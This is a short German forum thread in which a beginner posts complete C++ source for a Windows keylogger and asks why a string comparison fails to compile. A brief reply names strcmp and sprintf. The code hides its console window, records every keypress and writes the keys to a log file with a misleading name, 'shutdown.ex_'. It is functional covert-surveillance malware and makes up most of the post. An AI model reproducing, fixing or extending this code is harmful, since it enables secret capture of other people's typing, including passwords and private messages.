Variable szKey belegen??
-
Ich bin cpp Anfänger und habe gerade mein erstes Prjekt fertig, einen einfachen keylogger (keine sorge, führe nix im Schilde^^)
hier mal den Code:
#include <windows.h> #include <stdio.h> #include <string> #include <time.h> int main() { AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); FILE *Log; short key; char szKey[MAX_PATH]; int scan; while(1) { Sleep(10); for(key=0;key<256;key++) { if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); Log=fopen("install/shutdown.ex_","a+"); fprintf(Log,"%s",szKey); fclose(Log); } } } }Nun will ich die Variable, die den Buchstaben enthält (szKey) verändern,
z.Bif(szKey=="alt"){ szKey=="[alt]"; }Doch wenn ich den Code so einbinde, kommt immer ein Compiler Fehler. Weis da jemand weiter?
greetz dominic
-
strcmp
sprintf